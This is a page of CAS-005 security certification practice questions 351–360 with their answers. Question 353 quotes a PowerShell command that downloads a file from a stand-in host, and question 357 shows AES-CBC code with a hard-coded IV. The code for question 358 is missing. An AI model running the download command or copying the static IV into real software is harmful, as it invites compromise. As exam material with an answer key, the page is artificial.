CAS-005 practice questions 351–360

1. Question 351 · 393 in bank

   Select 2

   An architect is securing an external infrastructure to support external services. The following components are in use: • One Kubernetes cluster with multiple pods and nodes for back-end services • Two VM Linux instances as the web tier • One SQL-based database The company only has funding for two controls and must prioritize resilience. Which of the following are the most effective controls for the company to implement to meet this goal? (Choose two.)

   • AAn IAM policies enforced
   • BA RASP to the workload services
   • CA content delivery network
   • DA database firewall on the SQL instance
   • EAn IPS at the web tier
   • FAn application load balancer

   Show answer

   Answer: CF

   Next question

2. Question 352 · 393 in bank

   A company's headquarters is in an area with a high rate of severe weather. An engineer must update the enterprise architecture to meet the following requirements: • Critical services must remain functional without downtime. • Backups of data and configurations must be securely implemented. • Company workstations must be highly available and remotely reachable. Which of the following solutions is the best way to meet these requirements?

   • ATransition physical resources to virtual resources with standby redundant servers, and install a high capacity, diesel-powered backup generator.
   • BOpen and staff a second data center at least 100 miles away with robust, network-attached storage, and include DAR encryption for offline backups of customer data to enable rapid recovery.
   • CLease a cross-country workspace to support as-needed relocation of staff and equipment, and continuously back up and test VM images with automatic recovery orchestration.
   • DImplement a geographically distributed allocation of physical resources and VDI with continuous replication connected via site-to-site and load-balanced IPSec VPNs.

   Show answer

   Answer: D

   Next question

3. Question 353 · 393 in bank

   A security analyst is investigating an EDR alert and notices the following commands from the shell: PS > iwr -uri http://domain.com/happy.jpg -outfile .\important.url The only artifact that the analyst has access to is a network packet capture. Which of the following actions would most likely confirm whether the file is malicious?

   • AReviewing the payload for a digital signature
   • BAcquiring memory from an endpoint for analysis
   • CConfirming that the contents of /etc/passwd were transmitted
   • DObserving MZ in the binary stream header

   Show answer

   Answer: D

   Next question

4. Question 354 · 393 in bank

   A company with a large, cloud-native, e-commerce website wants to know more details about an ongoing, sophisticated attack against the web platform. Which of the following is the best technique?

   • AUser behavior analytics
   • BDark web monitoring
   • CStructured Threat Information exchange
   • DHigh-interaction honeypots

   Show answer

   Answer: D

   Next question

5. Question 355 · 393 in bank

   A security analyst must design a system infrastructure that aligns to industry best practices and established frameworks. Which of the following should the analyst do first?

   • AEstablish a centralized logging tier.
   • BAssign data labeling and data classification models.
   • CImplement a vulnerability management program.
   • DPerform a gap assessment of the security controls.

   Show answer

   Answer: D

   Next question

6. Question 356 · 393 in bank

   A small number but steady series of attempts to breach the network has been occurring over a long period of time. During an investigation, a SOC analyst finds that traffic is exiting the network to known malicious hosts and is originating from a rogue network device. Which of the following attack vectors is most likely being used to breach the network?

   • ASupply chain
   • BBuffer overflow
   • CSocial engineering
   • DRansomware

   Show answer

   Answer: A

   Next question

7. Question 357 · 393 in bank

   The following vulnerability was detected during a recent SAST scan of an application that provides an encrypted tunnel between sites: Cipher Block Chaining Initialization Vector must be unpredictable. This vulnerability was found on the following lines of the source code: iv = b"CompTIAIV202512" cipher= Cipher(Algorithms.AES(key), modes.CBC(iv)) Which of the following is the potential impact of this vulnerability?

   • AAn attacker could derive plaintext from the protected data.
   • BAn attacker could predict future key material.
   • CAn attacker could tamper with the value sent in the Initialization Vector variable.
   • DAn attacker could use a DoS by predicting the Initialization Vector and tampering with its value.

   Show answer

   Answer: A

   Next question

8. Question 358 · 393 in bank

   A reverse engineer is analyzing a malware sample from a recent security incident. When debugging and disassembling the code, the engineer finds the following section of the code:

   

   Which of the following does this malware try to evade?

   • AIOC extraction
   • BCode similarity
   • CDynamic analysis
   • DMalware attribution

   Show answer

   Answer: C

   Next question

9. Question 359 · 393 in bank

   During a penetration test, several users report that certain fileshares on the network could not be accessed. An analyst reviews the network traffic and detects a high number of packets associated with LLMNR and SMB that are being redirected to the penetration tester’s computer. Which of the following attacks is causing the issue?

   • ASMB brute-force
   • BDirectory fuzzing
   • CNTLM relay
   • DNetwork poisoning

   Show answer

   Answer: D

   Next question

10. Question 360 · 393 in bank

    A systems administrator uses an internal AI-based tool to generate code that uses an API to connect to a company service. After testing the code, the systems administrator collects and posts data using the API for the internal system. The Chief Information Security Officer asks a security engineer to review the systems administrator's process. Which of the following should the security engineer do first?

    • ACheck for hard-coded secrets in the application’s source code.
    • BUse prompt-testing methodologies to ensure model security.
    • CReview the effectiveness of the AI tool that the administrator used.
    • DAnalyze the large language model used to generate the output.

    Show answer

    Answer: A

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

CAS-005 practice, question 351. 393 questions available.